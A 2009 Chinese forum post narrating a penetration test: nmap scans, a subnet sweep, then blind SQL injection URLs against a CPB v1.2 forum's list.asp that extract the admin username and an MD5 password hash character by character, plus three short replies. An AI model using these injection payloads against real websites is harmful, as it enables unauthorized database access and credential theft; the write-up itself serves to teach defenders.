51Testing软件测试论坛

 找回密码
 (注-册)加入51Testing

QQ登录

只需一步,快速开始

微信登录,快人一步

手机号码,快捷登录

查看: 4727|回复: 3
打印 上一主题 下一主题

[原创] 一次WEB服务器渗透测试笔记

[复制链接]

该用户从未签到

跳转到指定楼层
1#
发表于 2009-2-10 14:39:31 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
编者按:渗透测试是最能直接的反映系统的安全性的一种手段了。现整理了前段时间进行的一次渗透测试的笔记,整个过程中所使用的工具和思路都比较简单,本文也正是为了您的系统不被这些“简单”的东西所击败而作。

此次渗透测试的已知条件只有一个:目标IP地址211.***.***.114。

首先当然是常规的扫描nmap -v -sS -O 211.***.***.114,得到的结果如下:

(The 1641 ports scanned but not shown below are in state: filtered)

Port State Service

80/tcp open http

Device type: general purpose

Running: FreeBSD 4.X

OS details: FreeBSD 4.7-RELEASE

(注意:渗透测试需要有对方授权,任何未经许可的扫描和渗透都有可能受到起诉。)

这个结果让人比较郁闷,只开了80一个端口,而且是freebsd的系统,并用IPFW或其他firewall进行了严格的过滤,看来这次的渗透要费点脑筋了。

但打开页面看了一下,更加让人丧气情况出现了:所有的连接都是静态的html页面!这意味着没有sql注入可利用,没有脚本漏洞可发掘!只是通过指纹验证httprint知道了web服务器是apache。

嗯,好吧,看来只能扫一下80端口试一下了。拿出RetinaApacheChunked... ...

当扫描结果出现在我眼前的时候,我想我有必要联系一下拉登大叔了,直接把这服务器炸掉算了!!!

放弃?!当然不!“一条铁链的强度取决于其最薄弱的一环”,安全也从来都不是单点的安全,所以,扩大扫描的范围说不定会有收获。当然这个扩大也不是随意的,最好先估算一下对方的地址段的长度,比如这个211.***.***.114,假设掩码是240,则该段地址即为:211.***.***.112-211.***.***.127。这个不用解释了吧!

拿出nmap,扫描从211.***.***.113-211.***.***.126的地址。得到的结果中最另人感兴趣的是一台开放了80端口的windows2000的主机211.***.***.116。一种直觉告诉我这台主机就是突破口!

http://211.***.***.116

出现在我眼前的是一个asp论坛的首页,但奇怪的是该论坛没什么分论坛也没几个注册用户,很可能是一个用来测试的系统。看了下论坛底部的版本信息“Powered by China Power Board v1.2”,原来是CPB的论坛,而且印象里这个v1.2好像是有注入漏洞,(窃喜)。

用google搜索到一个cpbv1.2研究了一下,原来数据库用的是ACCESS,储存管理员用户名和密码的表名为admin,这是我们最关心的东西,该表有四列:a_id admin password a_grade,其中passoword是使用md5加密过的。好了知道了这些基本信息,就可以进行下一步了:

提交:

http://211.***.***.116/list.asp?l_id=1 and exists (select a_id from admin where a_id=2)

返回:

Microsoft OLE DB Provider for ODBC Drivers 错误 '80004005'

[Microsoft][ODBC Microsoft Access Driver] 操作必须使用一个可更新的查询。

/list.asp,行145

这些信息说明了:主机211.***.***.116上的cpb论坛的数据库并没有经过改动,与原始的表结构是一样的:表名为admin,管理员的a_id为2,这样就省了我们很多的麻烦。

下面的目标就是要得到管理员的用户名和密码了。

提交:

http://211.***.***.116/list.asp?l_id=1 and exists (select admin from admin where

admin=admin)

返回:

Microsoft OLE DB Provider for ODBC Drivers 错误 '80004005'

[Microsoft][ODBC Microsoft Access Driver] 操作必须使用一个可更新的查询。

/list.asp,行145

看来连管理员的用户名都还是默认的admin。

那么,密码是不是也是默认的admin呢,想到这里我返回到论坛的首页用用户名admin密码admin登陆,结果失败!看来还是老老实实的猜测password的值吧!

提交:

http://211.***.***.116/list.asp?l_id=1 and exists (select password from admin where left

(password,1)='a')

返回的是一个报告出错的页面,这点告诉我们由MD5加密后的密码的第一位不是'a'。

注:由MD5加密后的密码长度为16位,每一位是一个16进制数,所以理论上最多猜测256次即可得到该值

当提交:

http://211.***.***.116/list.asp?l_id=1 and exists (select password from admin where left

(password,1)='1')

返回:

Microsoft OLE DB Provider for ODBC Drivers 错误 '80004005'

[Microsoft][ODBC Microsoft Access Driver] 操作必须使用一个可更新的查询。

/list.asp,行145

可以得知第一位是'1'。

同理可以依次得到每一位的值,最终经过耐心的尝试得到'19a7e9898008f09e'。这一步可能会耗费一些时间,当然也可以通过编写一个脚本来实现自动获取的目的。

好了,现在该轮到MD5的“暴破”专家DeMd5出场了,填入刚刚得到的'19a7e9898008f09e',下面就可以喝杯咖啡然后等着密码来找你吧!
分享到:  QQ好友和群QQ好友和群 QQ空间QQ空间 腾讯微博腾讯微博 腾讯朋友腾讯朋友
收藏收藏1
回复

使用道具 举报

该用户从未签到

2#
发表于 2009-2-10 16:17:00 | 只看该作者
有点意思,才看到,呵呵
回复 支持 反对

使用道具 举报

该用户从未签到

3#
发表于 2009-2-11 15:29:49 | 只看该作者
等一辈子密码吧, MD5目前还无法破解,而且MD5有16位的,也有32位的。
说破解MD5的那是吹牛,而且挂马,引你上钩。

[ 本帖最后由 147318902 于 2009-2-11 15:31 编辑 ]
回复 支持 反对

使用道具 举报

  • TA的每日心情
    开心
    2015-6-1 09:02
  • 签到天数: 6 天

    连续签到: 1 天

    [LV.2]测试排长

    4#
    发表于 2015-5-23 11:51:52 | 只看该作者
    感觉有点意思,虽然不是特别懂 但是看起来还有点高大上。虽然时间是好老的 。
    回复 支持 反对

    使用道具 举报

    本版积分规则

    关闭

    站长推荐上一条 /1 下一条

    小黑屋|手机版|Archiver|51Testing软件测试网 ( 沪ICP备05003035号 关于我们

    GMT+8, 2024-9-20 05:32 , Processed in 0.096786 second(s), 26 queries .

    Powered by Discuz! X3.2

    © 2001-2024 Comsenz Inc.

    快速回复 返回顶部 返回列表